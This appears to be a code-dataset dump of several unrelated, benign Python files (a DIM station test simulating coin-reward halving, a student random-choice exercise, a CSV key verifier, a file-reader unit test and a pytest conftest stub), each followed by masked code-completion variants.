spent, (total_money - spent))) def test_dimt(self): total_money = 15 * 10000 * 10000 package = 2 ** 20 print('total money: %d, first package: %d' % (total_money, package)) spent = 0 day = 0 year = 0 while (spent + package) <= total_money and package >= 1: spent += package day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 2 == 0: package /= 2.0 print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (year, day, package, spent, (total_money - spent))) if __name__ == '__main__': unittest.main()	flexible	{ "blob_id": "533d0b883a0bbbb148f04826e4c0a2bcc31732e9", "index": 6702, "step-1": "<mask token>\n\n\nclass StationTestCase(unittest.TestCase):\n\n def test_identifier(self):\n print('\\n---------------- %s' % self)\n str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G'\n id1 = ID(str1)\n self.assertEqual(id1.address.network, NetworkID.Station)\n arr1 = [str1]\n self.assertTrue(id1 in arr1)\n <mask token>\n\n def test_dimt(self):\n total_money = 15 * 10000 * 10000\n package = 2 ** 20\n print('total money: %d, first package: %d' % (total_money, package))\n spent = 0\n day = 0\n year = 0\n while spent + package <= total_money and package >= 1:\n spent += package\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day,\n package, spent))\n if year % 2 == 0:\n package /= 2.0\n print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass StationTestCase(unittest.TestCase):\n\n def test_identifier(self):\n print('\\n---------------- %s' % self)\n str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G'\n id1 = ID(str1)\n self.assertEqual(id1.address.network, NetworkID.Station)\n arr1 = [str1]\n self.assertTrue(id1 in arr1)\n\n def test_btc(self):\n total_money = 2100 * 10000\n package = 50\n print('total BTC: %d, first package: %d' % (total_money, package))\n spent = 0\n order = 0\n day = 0\n year = 0\n while spent + package <= total_money:\n spent += package\n order += 1\n if order % (6 * 24) == 0:\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year,\n day, package, spent))\n if year % 4 == 0:\n package /= 2.0\n print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n def test_dimt(self):\n total_money = 15 * 10000 * 10000\n package = 2 ** 20\n print('total money: %d, first package: %d' % (total_money, package))\n spent = 0\n day = 0\n year = 0\n while spent + package <= total_money and package >= 1:\n spent += package\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day,\n package, spent))\n if year % 2 == 0:\n package /= 2.0\n print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass StationTestCase(unittest.TestCase):\n\n def test_identifier(self):\n print('\\n---------------- %s' % self)\n str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G'\n id1 = ID(str1)\n self.assertEqual(id1.address.network, NetworkID.Station)\n arr1 = [str1]\n self.assertTrue(id1 in arr1)\n\n def test_btc(self):\n total_money = 2100 * 10000\n package = 50\n print('total BTC: %d, first package: %d' % (total_money, package))\n spent = 0\n order = 0\n day = 0\n year = 0\n while spent + package <= total_money:\n spent += package\n order += 1\n if order % (6 * 24) == 0:\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year,\n day, package, spent))\n if year % 4 == 0:\n package /= 2.0\n print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n def test_dimt(self):\n total_money = 15 * 10000 * 10000\n package = 2 ** 20\n print('total money: %d, first package: %d' % (total_money, package))\n spent = 0\n day = 0\n year = 0\n while spent + package <= total_money and package >= 1:\n spent += package\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day,\n package, spent))\n if year % 2 == 0:\n package /= 2.0\n print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-4": "<mask token>\nimport unittest\nfrom dimp import ID, NetworkID\n\n\nclass StationTestCase(unittest.TestCase):\n\n def test_identifier(self):\n print('\\n---------------- %s' % self)\n str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G'\n id1 = ID(str1)\n self.assertEqual(id1.address.network, NetworkID.Station)\n arr1 = [str1]\n self.assertTrue(id1 in arr1)\n\n def test_btc(self):\n total_money = 2100 * 10000\n package = 50\n print('total BTC: %d, first package: %d' % (total_money, package))\n spent = 0\n order = 0\n day = 0\n year = 0\n while spent + package <= total_money:\n spent += package\n order += 1\n if order % (6 * 24) == 0:\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year,\n day, package, spent))\n if year % 4 == 0:\n package /= 2.0\n print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n def test_dimt(self):\n total_money = 15 * 10000 * 10000\n package = 2 ** 20\n print('total money: %d, first package: %d' % (total_money, package))\n spent = 0\n day = 0\n year = 0\n while spent + package <= total_money and package >= 1:\n spent += package\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day,\n package, spent))\n if year % 2 == 0:\n package /= 2.0\n print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-5": "#! /usr/bin/env python3\n# -- coding: utf-8 --\n\n\"\"\"\n DIM Station Test\n ~~~~~~~~~~~~~~~~\n\n Unit test for DIM Station\n\"\"\"\n\nimport unittest\n\nfrom dimp import ID, NetworkID\n\n\nclass StationTestCase(unittest.TestCase):\n\n def test_identifier(self):\n print('\\n---------------- %s' % self)\n str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G'\n id1 = ID(str1)\n self.assertEqual(id1.address.network, NetworkID.Station)\n arr1 = [str1]\n self.assertTrue(id1 in arr1)\n\n def test_btc(self):\n total_money = 2100 * 10000\n package = 50\n print('total BTC: %d, first package: %d' % (total_money, package))\n spent = 0\n order = 0\n day = 0\n year = 0\n while (spent + package) <= total_money:\n spent += package\n order += 1\n if order % (6 * 24) == 0:\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent))\n if year % 4 == 0:\n package /= 2.0\n print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (year, day, package, spent, (total_money - spent)))\n\n def test_dimt(self):\n total_money = 15 * 10000 * 10000\n package = 2 ** 20\n print('total money: %d, first package: %d' % (total_money, package))\n spent = 0\n day = 0\n year = 0\n while (spent + package) <= total_money and package >= 1:\n spent += package\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent))\n if year % 2 == 0:\n package /= 2.0\n print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (year, day, package, spent, (total_money - spent)))\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-ids": [ 3, 4, 5, 6, 7 ] }	[ 3, 4, 5, 6, 7 ]
print("Praktikum Programa Komputer ") print("Exercise 7.21") print("") print("===========================") print("Nama : Ivanindra Rizky P") print("NIM : I0320054") print("") print("===========================") print("") import random a = [23, 45, 98, 36] print('a = ', a) print('random 1') print('choice = ', random.choice(a)) print('random 2') print('choice = ', random.choice(a)) print('random 3') print('choice = ', random.choice(a))	normal	{ "blob_id": "6b731e329eec3947a17ef8ee8280f2ddf980c81c", "index": 7154, "step-1": "<mask token>\n", "step-2": "print('Praktikum Programa Komputer ')\nprint('Exercise 7.21')\nprint('')\nprint('===========================')\nprint('Nama : Ivanindra Rizky P')\nprint('NIM : I0320054')\nprint('')\nprint('===========================')\nprint('')\n<mask token>\nprint('a = ', a)\nprint('random 1')\nprint('choice = ', random.choice(a))\nprint('random 2')\nprint('choice = ', random.choice(a))\nprint('random 3')\nprint('choice = ', random.choice(a))\n", "step-3": "print('Praktikum Programa Komputer ')\nprint('Exercise 7.21')\nprint('')\nprint('===========================')\nprint('Nama : Ivanindra Rizky P')\nprint('NIM : I0320054')\nprint('')\nprint('===========================')\nprint('')\n<mask token>\na = [23, 45, 98, 36]\nprint('a = ', a)\nprint('random 1')\nprint('choice = ', random.choice(a))\nprint('random 2')\nprint('choice = ', random.choice(a))\nprint('random 3')\nprint('choice = ', random.choice(a))\n", "step-4": "print('Praktikum Programa Komputer ')\nprint('Exercise 7.21')\nprint('')\nprint('===========================')\nprint('Nama : Ivanindra Rizky P')\nprint('NIM : I0320054')\nprint('')\nprint('===========================')\nprint('')\nimport random\na = [23, 45, 98, 36]\nprint('a = ', a)\nprint('random 1')\nprint('choice = ', random.choice(a))\nprint('random 2')\nprint('choice = ', random.choice(a))\nprint('random 3')\nprint('choice = ', random.choice(a))\n", "step-5": "print(\"Praktikum Programa Komputer \")\r\nprint(\"Exercise 7.21\")\r\nprint(\"\")\r\nprint(\"===========================\")\r\nprint(\"Nama : Ivanindra Rizky P\")\r\nprint(\"NIM : I0320054\")\r\nprint(\"\")\r\nprint(\"===========================\")\r\nprint(\"\")\r\nimport random\r\na = [23, 45, 98, 36]\r\nprint('a = ', a)\r\nprint('random 1')\r\nprint('choice = ', random.choice(a))\r\nprint('random 2')\r\nprint('choice = ', random.choice(a))\r\nprint('random 3')\r\nprint('choice = ', random.choice(a))", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
<\|reserved_special_token_0\|> class ColumnKeyVerifier: <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> def epilogue(self): pass <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class ColumnKeyVerifier: def __init__(self): self.keys = {} <\|reserved_special_token_0\|> def epilogue(self): pass def visit(self, header, columns): key = int(columns[0]) if key in self.keys: Reporter.error(f'중복된 키({key})가 존재합니다.') self.keys[key] = True return True <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class ColumnKeyVerifier: def __init__(self): self.keys = {} def prologue(self, table_name, header): if 0 == len(header): return False return header[0].is_key() def epilogue(self): pass def visit(self, header, columns): key = int(columns[0]) if key in self.keys: Reporter.error(f'중복된 키({key})가 존재합니다.') self.keys[key] = True return True <\|reserved_special_token_1\|> import sys from .csvtable import * from .utils import * from .reporter import Reporter class ColumnKeyVerifier: def __init__(self): self.keys = {} def prologue(self, table_name, header): if 0 == len(header): return False return header[0].is_key() def epilogue(self): pass def visit(self, header, columns): key = int(columns[0]) if key in self.keys: Reporter.error(f'중복된 키({key})가 존재합니다.') self.keys[key] = True return True <\|reserved_special_token_1\|> import sys from .csvtable import * from .utils import * from .reporter import Reporter class ColumnKeyVerifier: def __init__(self): self.keys = {} def prologue(self, table_name, header): if 0 == len(header): return False # 키는 첫번째 컬럼에만 설정 가능하다. return header[0].is_key() def epilogue(self): pass def visit(self, header, columns): key = int(columns[0]) if key in self.keys: Reporter.error(f'중복된 키({key})가 존재합니다.') self.keys[key] = True return True	flexible	{ "blob_id": "eca4abf706fd094a40fdfc8ea483d71b0a018ce9", "index": 4378, "step-1": "<mask token>\n\n\nclass ColumnKeyVerifier:\n <mask token>\n <mask token>\n\n def epilogue(self):\n pass\n <mask token>\n", "step-2": "<mask token>\n\n\nclass ColumnKeyVerifier:\n\n def __init__(self):\n self.keys = {}\n <mask token>\n\n def epilogue(self):\n pass\n\n def visit(self, header, columns):\n key = int(columns[0])\n if key in self.keys:\n Reporter.error(f'중복된 키({key})가 존재합니다.')\n self.keys[key] = True\n return True\n", "step-3": "<mask token>\n\n\nclass ColumnKeyVerifier:\n\n def __init__(self):\n self.keys = {}\n\n def prologue(self, table_name, header):\n if 0 == len(header):\n return False\n return header[0].is_key()\n\n def epilogue(self):\n pass\n\n def visit(self, header, columns):\n key = int(columns[0])\n if key in self.keys:\n Reporter.error(f'중복된 키({key})가 존재합니다.')\n self.keys[key] = True\n return True\n", "step-4": "import sys\nfrom .csvtable import \nfrom .utils import \nfrom .reporter import Reporter\n\n\nclass ColumnKeyVerifier:\n\n def __init__(self):\n self.keys = {}\n\n def prologue(self, table_name, header):\n if 0 == len(header):\n return False\n return header[0].is_key()\n\n def epilogue(self):\n pass\n\n def visit(self, header, columns):\n key = int(columns[0])\n if key in self.keys:\n Reporter.error(f'중복된 키({key})가 존재합니다.')\n self.keys[key] = True\n return True\n", "step-5": "\nimport sys\nfrom .csvtable import \nfrom .utils import \nfrom .reporter import Reporter\n\nclass ColumnKeyVerifier:\n def __init__(self):\n self.keys = {}\n\n def prologue(self, table_name, header):\n if 0 == len(header):\n return False\n\n # 키는 첫번째 컬럼에만 설정 가능하다.\n return header[0].is_key()\n\n def epilogue(self):\n pass\n\n def visit(self, header, columns):\n key = int(columns[0])\n if key in self.keys:\n Reporter.error(f'중복된 키({key})가 존재합니다.')\n\n self.keys[key] = True\n\n return True\n", "step-ids": [ 2, 4, 5, 6, 7 ] }	[ 2, 4, 5, 6, 7 ]
<\|reserved_special_token_0\|> class TestFileReader(unittest.TestCase): def test_reads_file(self): reader = FileReader('sample_reader_test.txt', regexes=[( 'name="(\\w+)"', 'END SEGMENT'), ('\\s\\\\sSTART\\s(\\w+)', 'END SEGMENT'), ('PYTHON\\s+SEGMENT\\s+(\\w[\\w\\d_])', None)]) file = reader.read() self.assertEqual(7, len(file.segments)) self.assertEqual('0', file.segments[0].name) self.assertEqual(2, len(file.segments[0].text)) self.assertEqual('segmentOne', file.segments[1].name) self.assertEqual(3, len(file.segments[1].text)) self.assertEqual('1', file.segments[2].name) self.assertEqual(1, len(file.segments[2].text)) self.assertEqual('anotherSegment', file.segments[3].name) self.assertEqual(6, len(file.segments[3].text)) self.assertEqual('2', file.segments[4].name) self.assertEqual(2, len(file.segments[4].text)) self.assertEqual('python_segment', file.segments[5].name) self.assertEqual(4, len(file.segments[5].text)) self.assertEqual('python_segment', file.segments[6].name) self.assertEqual(3, len(file.segments[6].text)) <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class TestFileReader(unittest.TestCase): def test_reads_file(self): reader = FileReader('sample_reader_test.txt', regexes=[( 'name="(\\w+)"', 'END SEGMENT'), ('\\s\\\\sSTART\\s(\\w+)', 'END SEGMENT'), ('PYTHON\\s+SEGMENT\\s+(\\w[\\w\\d_])', None)]) file = reader.read() self.assertEqual(7, len(file.segments)) self.assertEqual('0', file.segments[0].name) self.assertEqual(2, len(file.segments[0].text)) self.assertEqual('segmentOne', file.segments[1].name) self.assertEqual(3, len(file.segments[1].text)) self.assertEqual('1', file.segments[2].name) self.assertEqual(1, len(file.segments[2].text)) self.assertEqual('anotherSegment', file.segments[3].name) self.assertEqual(6, len(file.segments[3].text)) self.assertEqual('2', file.segments[4].name) self.assertEqual(2, len(file.segments[4].text)) self.assertEqual('python_segment', file.segments[5].name) self.assertEqual(4, len(file.segments[5].text)) self.assertEqual('python_segment', file.segments[6].name) self.assertEqual(3, len(file.segments[6].text)) def test_analyses_parameters(self): segment = Segment('name', 'file name') line = ( ' SNIPPET START A=B B=13 K=\'ha mi\' ZIG="ZA G" WITH hami -> "mami" ' ) FileReader('whatnot', ['onces']).analyze_parameters(line, segment) self.assertEqual(segment.parameters['A'], 'B') self.assertEqual(segment.parameters['B'], '13') self.assertEqual(segment.parameters['K'], 'ha mi') self.assertEqual(segment.parameters['ZIG'], 'ZA G') <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class TestFileReader(unittest.TestCase): def test_reads_file(self): reader = FileReader('sample_reader_test.txt', regexes=[( 'name="(\\w+)"', 'END SEGMENT'), ('\\s\\\\sSTART\\s(\\w+)', 'END SEGMENT'), ('PYTHON\\s+SEGMENT\\s+(\\w[\\w\\d_])', None)]) file = reader.read() self.assertEqual(7, len(file.segments)) self.assertEqual('0', file.segments[0].name) self.assertEqual(2, len(file.segments[0].text)) self.assertEqual('segmentOne', file.segments[1].name) self.assertEqual(3, len(file.segments[1].text)) self.assertEqual('1', file.segments[2].name) self.assertEqual(1, len(file.segments[2].text)) self.assertEqual('anotherSegment', file.segments[3].name) self.assertEqual(6, len(file.segments[3].text)) self.assertEqual('2', file.segments[4].name) self.assertEqual(2, len(file.segments[4].text)) self.assertEqual('python_segment', file.segments[5].name) self.assertEqual(4, len(file.segments[5].text)) self.assertEqual('python_segment', file.segments[6].name) self.assertEqual(3, len(file.segments[6].text)) def test_analyses_parameters(self): segment = Segment('name', 'file name') line = ( ' SNIPPET START A=B B=13 K=\'ha mi\' ZIG="ZA G" WITH hami -> "mami" ' ) FileReader('whatnot', ['onces']).analyze_parameters(line, segment) self.assertEqual(segment.parameters['A'], 'B') self.assertEqual(segment.parameters['B'], '13') self.assertEqual(segment.parameters['K'], 'ha mi') self.assertEqual(segment.parameters['ZIG'], 'ZA G') if __name__ == '__main__': unittest.main() <\|reserved_special_token_1\|> import unittest from pyama.filereader import FileReader, Segment class TestFileReader(unittest.TestCase): def test_reads_file(self): reader = FileReader('sample_reader_test.txt', regexes=[( 'name="(\\w+)"', 'END SEGMENT'), ('\\s\\\\sSTART\\s(\\w+)', 'END SEGMENT'), ('PYTHON\\s+SEGMENT\\s+(\\w[\\w\\d_])', None)]) file = reader.read() self.assertEqual(7, len(file.segments)) self.assertEqual('0', file.segments[0].name) self.assertEqual(2, len(file.segments[0].text)) self.assertEqual('segmentOne', file.segments[1].name) self.assertEqual(3, len(file.segments[1].text)) self.assertEqual('1', file.segments[2].name) self.assertEqual(1, len(file.segments[2].text)) self.assertEqual('anotherSegment', file.segments[3].name) self.assertEqual(6, len(file.segments[3].text)) self.assertEqual('2', file.segments[4].name) self.assertEqual(2, len(file.segments[4].text)) self.assertEqual('python_segment', file.segments[5].name) self.assertEqual(4, len(file.segments[5].text)) self.assertEqual('python_segment', file.segments[6].name) self.assertEqual(3, len(file.segments[6].text)) def test_analyses_parameters(self): segment = Segment('name', 'file name') line = ( ' SNIPPET START A=B B=13 K=\'ha mi\' ZIG="ZA G" WITH hami -> "mami" ' ) FileReader('whatnot', ['onces']).analyze_parameters(line, segment) self.assertEqual(segment.parameters['A'], 'B') self.assertEqual(segment.parameters['B'], '13') self.assertEqual(segment.parameters['K'], 'ha mi') self.assertEqual(segment.parameters['ZIG'], 'ZA G') if __name__ == '__main__': unittest.main() <\|reserved_special_token_1\|> #! /usr/bin/python # -- coding: utf8 -- # vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4 import unittest from pyama.filereader import FileReader,Segment class TestFileReader(unittest.TestCase): def test_reads_file(self): reader = FileReader( "sample_reader_test.txt", regexes=[(r'name="(\w+)"', 'END SEGMENT'), (r'\s\\sSTART\s(\w+)', 'END SEGMENT'), (r"PYTHON\s+SEGMENT\s+(\w[\w\d_]*)", None)] ) file = reader.read() self.assertEqual(7, len(file.segments)) self.assertEqual('0', file.segments[0].name) self.assertEqual(2, len(file.segments[0].text)) self.assertEqual('segmentOne', file.segments[1].name) self.assertEqual(3, len(file.segments[1].text)) self.assertEqual('1', file.segments[2].name) self.assertEqual(1, len(file.segments[2].text)) self.assertEqual('anotherSegment', file.segments[3].name) self.assertEqual(6, len(file.segments[3].text)) self.assertEqual('2', file.segments[4].name) self.assertEqual(2, len(file.segments[4].text)) self.assertEqual('python_segment', file.segments[5].name) self.assertEqual(4, len(file.segments[5].text)) self.assertEqual('python_segment', file.segments[6].name) self.assertEqual(3, len(file.segments[6].text)) def test_analyses_parameters(self): segment = Segment("name","file name") line = """ SNIPPET START A=B B=13 K='ha mi' ZIG="ZA G" WITH hami -> "mami" """ FileReader("whatnot",["onces"]).analyze_parameters(line,segment) self.assertEqual(segment.parameters["A"],"B") self.assertEqual(segment.parameters["B"],"13") self.assertEqual(segment.parameters["K"],"ha mi") self.assertEqual(segment.parameters["ZIG"],"ZA G") if __name__ == '__main__': unittest.main()	flexible	{ "blob_id": "92dc0bd3cfcddd98f99d8152d0221f047beb4fb0", "index": 9492, "step-1": "<mask token>\n\n\nclass TestFileReader(unittest.TestCase):\n\n def test_reads_file(self):\n reader = FileReader('sample_reader_test.txt', regexes=[(\n 'name=\"(\\\\w+)\"', 'END SEGMENT'), ('\\\\s\\\\\\\\sSTART\\\\s(\\\\w+)',\n 'END SEGMENT'), ('PYTHON\\\\s+SEGMENT\\\\s+(\\\\w[\\\\w\\\\d_])', None)])\n file = reader.read()\n self.assertEqual(7, len(file.segments))\n self.assertEqual('0', file.segments[0].name)\n self.assertEqual(2, len(file.segments[0].text))\n self.assertEqual('segmentOne', file.segments[1].name)\n self.assertEqual(3, len(file.segments[1].text))\n self.assertEqual('1', file.segments[2].name)\n self.assertEqual(1, len(file.segments[2].text))\n self.assertEqual('anotherSegment', file.segments[3].name)\n self.assertEqual(6, len(file.segments[3].text))\n self.assertEqual('2', file.segments[4].name)\n self.assertEqual(2, len(file.segments[4].text))\n self.assertEqual('python_segment', file.segments[5].name)\n self.assertEqual(4, len(file.segments[5].text))\n self.assertEqual('python_segment', file.segments[6].name)\n self.assertEqual(3, len(file.segments[6].text))\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TestFileReader(unittest.TestCase):\n\n def test_reads_file(self):\n reader = FileReader('sample_reader_test.txt', regexes=[(\n 'name=\"(\\\\w+)\"', 'END SEGMENT'), ('\\\\s\\\\\\\\sSTART\\\\s(\\\\w+)',\n 'END SEGMENT'), ('PYTHON\\\\s+SEGMENT\\\\s+(\\\\w[\\\\w\\\\d_])', None)])\n file = reader.read()\n self.assertEqual(7, len(file.segments))\n self.assertEqual('0', file.segments[0].name)\n self.assertEqual(2, len(file.segments[0].text))\n self.assertEqual('segmentOne', file.segments[1].name)\n self.assertEqual(3, len(file.segments[1].text))\n self.assertEqual('1', file.segments[2].name)\n self.assertEqual(1, len(file.segments[2].text))\n self.assertEqual('anotherSegment', file.segments[3].name)\n self.assertEqual(6, len(file.segments[3].text))\n self.assertEqual('2', file.segments[4].name)\n self.assertEqual(2, len(file.segments[4].text))\n self.assertEqual('python_segment', file.segments[5].name)\n self.assertEqual(4, len(file.segments[5].text))\n self.assertEqual('python_segment', file.segments[6].name)\n self.assertEqual(3, len(file.segments[6].text))\n\n def test_analyses_parameters(self):\n segment = Segment('name', 'file name')\n line = (\n ' SNIPPET START A=B B=13 K=\\'ha mi\\' ZIG=\"ZA G\" WITH hami -> \"mami\" '\n )\n FileReader('whatnot', ['onces']).analyze_parameters(line, segment)\n self.assertEqual(segment.parameters['A'], 'B')\n self.assertEqual(segment.parameters['B'], '13')\n self.assertEqual(segment.parameters['K'], 'ha mi')\n self.assertEqual(segment.parameters['ZIG'], 'ZA G')\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TestFileReader(unittest.TestCase):\n\n def test_reads_file(self):\n reader = FileReader('sample_reader_test.txt', regexes=[(\n 'name=\"(\\\\w+)\"', 'END SEGMENT'), ('\\\\s\\\\\\\\sSTART\\\\s(\\\\w+)',\n 'END SEGMENT'), ('PYTHON\\\\s+SEGMENT\\\\s+(\\\\w[\\\\w\\\\d_])', None)])\n file = reader.read()\n self.assertEqual(7, len(file.segments))\n self.assertEqual('0', file.segments[0].name)\n self.assertEqual(2, len(file.segments[0].text))\n self.assertEqual('segmentOne', file.segments[1].name)\n self.assertEqual(3, len(file.segments[1].text))\n self.assertEqual('1', file.segments[2].name)\n self.assertEqual(1, len(file.segments[2].text))\n self.assertEqual('anotherSegment', file.segments[3].name)\n self.assertEqual(6, len(file.segments[3].text))\n self.assertEqual('2', file.segments[4].name)\n self.assertEqual(2, len(file.segments[4].text))\n self.assertEqual('python_segment', file.segments[5].name)\n self.assertEqual(4, len(file.segments[5].text))\n self.assertEqual('python_segment', file.segments[6].name)\n self.assertEqual(3, len(file.segments[6].text))\n\n def test_analyses_parameters(self):\n segment = Segment('name', 'file name')\n line = (\n ' SNIPPET START A=B B=13 K=\\'ha mi\\' ZIG=\"ZA G\" WITH hami -> \"mami\" '\n )\n FileReader('whatnot', ['onces']).analyze_parameters(line, segment)\n self.assertEqual(segment.parameters['A'], 'B')\n self.assertEqual(segment.parameters['B'], '13')\n self.assertEqual(segment.parameters['K'], 'ha mi')\n self.assertEqual(segment.parameters['ZIG'], 'ZA G')\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-4": "import unittest\nfrom pyama.filereader import FileReader, Segment\n\n\nclass TestFileReader(unittest.TestCase):\n\n def test_reads_file(self):\n reader = FileReader('sample_reader_test.txt', regexes=[(\n 'name=\"(\\\\w+)\"', 'END SEGMENT'), ('\\\\s\\\\\\\\sSTART\\\\s(\\\\w+)',\n 'END SEGMENT'), ('PYTHON\\\\s+SEGMENT\\\\s+(\\\\w[\\\\w\\\\d_])', None)])\n file = reader.read()\n self.assertEqual(7, len(file.segments))\n self.assertEqual('0', file.segments[0].name)\n self.assertEqual(2, len(file.segments[0].text))\n self.assertEqual('segmentOne', file.segments[1].name)\n self.assertEqual(3, len(file.segments[1].text))\n self.assertEqual('1', file.segments[2].name)\n self.assertEqual(1, len(file.segments[2].text))\n self.assertEqual('anotherSegment', file.segments[3].name)\n self.assertEqual(6, len(file.segments[3].text))\n self.assertEqual('2', file.segments[4].name)\n self.assertEqual(2, len(file.segments[4].text))\n self.assertEqual('python_segment', file.segments[5].name)\n self.assertEqual(4, len(file.segments[5].text))\n self.assertEqual('python_segment', file.segments[6].name)\n self.assertEqual(3, len(file.segments[6].text))\n\n def test_analyses_parameters(self):\n segment = Segment('name', 'file name')\n line = (\n ' SNIPPET START A=B B=13 K=\\'ha mi\\' ZIG=\"ZA G\" WITH hami -> \"mami\" '\n )\n FileReader('whatnot', ['onces']).analyze_parameters(line, segment)\n self.assertEqual(segment.parameters['A'], 'B')\n self.assertEqual(segment.parameters['B'], '13')\n self.assertEqual(segment.parameters['K'], 'ha mi')\n self.assertEqual(segment.parameters['ZIG'], 'ZA G')\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-5": "#! /usr/bin/python\n# -- coding: utf8 --\n# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\nimport unittest\n\nfrom pyama.filereader import FileReader,Segment\n\n\nclass TestFileReader(unittest.TestCase):\n def test_reads_file(self):\n reader = FileReader(\n \"sample_reader_test.txt\",\n regexes=[(r'name=\"(\\w+)\"', 'END SEGMENT'),\n (r'\\s\\\\sSTART\\s(\\w+)', 'END SEGMENT'),\n (r\"PYTHON\\s+SEGMENT\\s+(\\w[\\w\\d_]*)\", None)]\n )\n file = reader.read()\n self.assertEqual(7, len(file.segments))\n self.assertEqual('0', file.segments[0].name)\n self.assertEqual(2, len(file.segments[0].text))\n self.assertEqual('segmentOne', file.segments[1].name)\n self.assertEqual(3, len(file.segments[1].text))\n self.assertEqual('1', file.segments[2].name)\n self.assertEqual(1, len(file.segments[2].text))\n self.assertEqual('anotherSegment', file.segments[3].name)\n self.assertEqual(6, len(file.segments[3].text))\n self.assertEqual('2', file.segments[4].name)\n self.assertEqual(2, len(file.segments[4].text))\n self.assertEqual('python_segment', file.segments[5].name)\n self.assertEqual(4, len(file.segments[5].text))\n self.assertEqual('python_segment', file.segments[6].name)\n self.assertEqual(3, len(file.segments[6].text))\n\n def test_analyses_parameters(self):\n segment = Segment(\"name\",\"file name\")\n line = \"\"\" SNIPPET START A=B B=13 K='ha mi' ZIG=\"ZA G\" WITH hami -> \"mami\" \"\"\"\n FileReader(\"whatnot\",[\"onces\"]).analyze_parameters(line,segment)\n self.assertEqual(segment.parameters[\"A\"],\"B\")\n self.assertEqual(segment.parameters[\"B\"],\"13\")\n self.assertEqual(segment.parameters[\"K\"],\"ha mi\")\n self.assertEqual(segment.parameters[\"ZIG\"],\"ZA G\")\n\nif __name__ == '__main__':\n unittest.main()\n", "step-ids": [ 2, 3, 4, 5, 6 ] }	[ 2, 3, 4, 5, 6 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> import pytest <\|reserved_special_token_1\|> """ ====================== @author:小谢学测试 @time:2021/9/8:8:34 @email:xie7791@qq.com ====================== """ import pytest # @pytest.fixture() # def login(): # print("登录方法") # def pytest_conftest(config): # marker_list = ["search","login"] # for markers in marker_list: # config.addinivalue_line("markers",markers)	flexible	{ "blob_id": "b52429f936013ac60659950492b67078fabf3a13", "index": 4042, "step-1": "<mask token>\n", "step-2": "<mask token>\nimport pytest\n", "step-3": "\"\"\"\n======================\n@author:小谢学测试\n@time:2021/9/8:8:34\n@email:xie7791@qq.com\n======================\n\"\"\"\nimport pytest\n# @pytest.fixture()\n# def login():\n# print(\"登录方法\")\n\n# def pytest_conftest(config):\n# marker_list = [\"search\",\"login\"]\n# for markers in marker_list:\n# config.addinivalue_line(\"markers\",markers)", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }	[ 0, 1, 2 ]
